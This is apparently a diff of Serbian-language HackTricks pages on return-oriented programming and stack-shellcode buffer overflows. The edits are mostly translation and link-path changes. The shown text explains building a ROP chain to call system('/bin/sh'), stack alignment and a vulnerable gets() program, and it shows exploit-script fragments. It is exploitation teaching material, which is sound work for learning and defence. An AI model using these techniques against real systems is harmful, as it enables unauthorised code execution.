* **cdecl**: Pozivaoc čisti stek. Argumenti funkcije se guraju na stek u obrnutom redosledu (desno-levi). **Argumenti se guraju na stek s desna na levo.**
|
||||
* **stdcall**: Slično cdecl-u, ali callee je odgovoran za čišćenje steka.
|
||||
|
||||
### **Pronalaženje Gadgeta**
|
||||
|
@ -42,12 +42,12 @@ Prvo, pretpostavimo da smo identifikovali potrebne gadgete unutar binarnog fajla
|
|||
|
||||
### **ROP Lanac**
|
||||
|
||||
Koristeći **pwntools**, pripremamo stek za izvršenje ROP lanca kako sledi sa ciljem izvršavanja `system('/bin/sh')`, obratite pažnju kako lanac počinje sa:
|
||||
Koristeći **pwntools**, pripremamo stek za izvršavanje ROP lanca kako bismo izvršili `system('/bin/sh')`, obratite pažnju kako lanac počinje sa:
|
||||
|
||||
1. `ret` instrukcijom radi poravnanja (opciono)
|
||||
2. Adresa funkcije `system` (pretpostavljajući da je ASLR isključen i poznata libc, više informacija u [**Ret2lib**](ret2lib/))
|
||||
3. Rezervisano mesto za adresu povratka iz `system()`
|
||||
4. Adresa stringa `"/bin/sh"` (parametar za funkciju system)
|
||||
2. Adresom funkcije `system` (pretpostavljajući da je ASLR isključen i poznata libc, više informacija u [**Ret2lib**](ret2lib/))
|
||||
3. Rezervisanom adresom za povratnu adresu iz `system()`
|
||||
4. Adresom stringa `"/bin/sh"` (parametar za funkciju system)
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -93,7 +93,7 @@ p.interactive()
|
|||
|
||||
Za našu svrhu, fokusiraćemo se na gedžete koji će nam omogućiti postavljanje registra **RDI** (kako bismo prosledili string **"/bin/sh"** kao argument funkciji **system()**) i zatim pozvali funkciju **system()**. Pretpostavićemo da smo identifikovali sledeće gedžete:
|
||||
|
||||
* **pop rdi; ret**: Skida vrh steka u registar **RDI** i zatim se vraća. Bitan za postavljanje argumenta za **system()**.
|
||||
* **pop rdi; ret**: Skida vrh vrednosti sa steka u registar **RDI** i zatim se vraća. Neophodno za postavljanje argumenta za **system()**.
|
||||
* **ret**: Jednostavan povratak, koristan za poravnanje steka u nekim scenarijima.
|
||||
|
||||
I znamo adresu funkcije **system()**.
|
||||
|
@ -138,31 +138,31 @@ p.interactive()
|
|||
U ovom primeru:
|
||||
|
||||
* Koristimo **`pop rdi; ret`** gedžet da postavimo **`RDI`** na adresu **`"/bin/sh"`**.
|
||||
* Direktno skačemo na **`system()`** nakon postavljanja **`RDI`**, sa adresom **system()** funkcije u lancu.
|
||||
* Direktno skačemo na **`system()`** nakon postavljanja **`RDI`**, sa adresom **`system()`** funkcije u lancu.
|
||||
* **`ret_gadget`** se koristi za poravnanje ako ciljano okruženje zahteva, što je češće u **x64** da bi se osiguralo pravilno poravnanje steka pre pozivanja funkcija.
|
||||
|
||||
### Poravnanje Staka
|
||||
### Poravnanje Steka
|
||||
|
||||
**x86-64 ABI** osigurava da je **stek poravnan na 16 bajtova** kada se izvrši **call instrukcija**. **LIBC**, radi optimizacije performansi, **koristi SSE instrukcije** (kao što su **movaps**) koje zahtevaju ovo poravnanje. Ako stek nije pravilno poravnan (što znači da **RSP** nije višekratnik broja 16), pozivi funkcija poput **system** će neuspeti u **ROP lancu**. Da biste to rešili, jednostavno dodajte **ret gedžet** pre pozivanja **system** u vašem ROP lancu.
|
||||
**x86-64 ABI** osigurava da je **stek poravnan na 16 bajtova** kada se izvrši **call instrukcija**. **LIBC**, radi optimizacije performansi, **koristi SSE instrukcije** (kao što su **movaps**) koje zahtevaju ovo poravnanje. Ako stek nije pravilno poravnan (što znači da **RSP** nije višekratnik broja 16), pozivi funkcija poput **system** će neuspešno završiti u **ROP lancu**. Da biste to rešili, jednostavno dodajte **ret gedžet** pre pozivanja **system** u vašem ROP lancu.
|
||||
|
||||
## x86 vs x64 glavna razlika
|
||||
|
||||
{% hint style="success" %}
|
||||
Pošto x64 koristi registre za prvih nekoliko argumenata, često zahteva manje gedžeta od x86 za jednostavne pozive funkcija, ali pronalaženje i povezivanje pravih gedžeta može biti složenije zbog povećanog broja registara i većeg adresnog prostora. Povećan broj registara i veći adresni prostor u **x64** arhitekturi pružaju kako mogućnosti, tako i izazove za razvoj eksploatacija, posebno u kontekstu Return-Oriented Programming (ROP).
|
||||
Pošto x64 koristi registre za prvih nekoliko argumenata, često zahteva manje gedžeta od x86 za jednostavne pozive funkcija, ali pronalaženje i povezivanje odgovarajućih gedžeta može biti složenije zbog povećanog broja registara i većeg adresnog prostora. Povećani broj registara i veći adresni prostor u **x64** arhitekturi pružaju i mogućnosti i izazove za razvoj eksploatacija, posebno u kontekstu Return-Oriented Programming (ROP).
|
||||
{% endhint %}
|
||||
|
||||
## Zaštite
|
||||
|
||||
* [**ASLR**](../common-binary-protections/aslr.md)
|
||||
* [**Stack Canaries**](../common-binary-protections/stack-canaries.md)
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/)
|
||||
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/)
|
||||
|
||||
## Ostali Primeri
|
||||
## Ostali Primeri i Reference
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
||||
|
||||
## ROP bazirane tehnike
|
||||
## Tehnike zasnovane na ROP-u
|
||||
|
||||
Primetite da je ROP samo tehnika za izvršavanje proizvoljnog koda. Bazirano na ROP-u, razvijeno je mnogo Ret2XXX tehnika:
|
||||
Primetite da je ROP samo tehnika za izvršavanje proizvoljnog koda. Na osnovu ROP-a razvijeno je mnogo Ret2XXX tehnika:
|
||||
|
||||
* **Ret2lib**: Koristi ROP za pozivanje proizvoljnih funkcija iz učitane biblioteke sa proizvoljnim parametrima (obično nešto poput `system('/bin/sh')`.
|
||||
|
||||
|
@ -188,7 +188,7 @@ Primetite da je ROP samo tehnika za izvršavanje proizvoljnog koda. Bazirano na
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -6,9 +6,9 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
@ -36,7 +36,7 @@ printf("Returned safely\n");
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Ovaj program je ranjiv na preplavljivanje bafera zbog korišćenja funkcije `gets()`.
|
||||
Ovaj program je ranjiv na preplavljivanje bafera zbog korišćenja `gets()` funkcije.
|
||||
|
||||
### Kompilacija
|
||||
|
||||
|
@ -84,10 +84,24 @@ Ovaj skript konstruiše payload koji se sastoji od **NOP slide-a**, **shellcode-
|
|||
|
||||
## Zaštite
|
||||
|
||||
* [**ASLR**](../common-binary-protections/aslr.md) **treba da bude onemogućen** kako bi adresa bila pouzdana tokom izvršavanja ili adresa gde će funkcija biti smeštena neće uvek biti ista i trebalo bi da imate neki leak kako biste saznali gde je win funkcija učitana.
|
||||
* [**Stack Canaries**](../common-binary-protections/stack-canaries.md) takođe treba da budu onemogućeni ili kompromitovana povratna adresa EIP-a nikada neće biti praćena.
|
||||
* [**NX**](../common-binary-protections/no-exec-nx.md) zaštita **stack-a** bi sprečila izvršenje shellcode-a unutar stack-a jer ta regija neće biti izvršiva.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **treba da bude onemogućen** kako bi adresa bila pouzdana tokom izvršavanja ili adresa gde će funkcija biti smeštena neće uvek biti ista i trebalo bi da imate neki "leak" kako biste saznali gde je win funkcija učitana.
|
||||
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) takođe treba da budu onemogućeni ili kompromitovana povratna adresa EIP-a neće biti praćena.
|
||||
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) zaštita **stack-a** bi sprečila izvršenje shellcode-a unutar stack-a jer ta regija neće biti izvršiva.
|
||||
|
||||
## Ostali Primeri
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue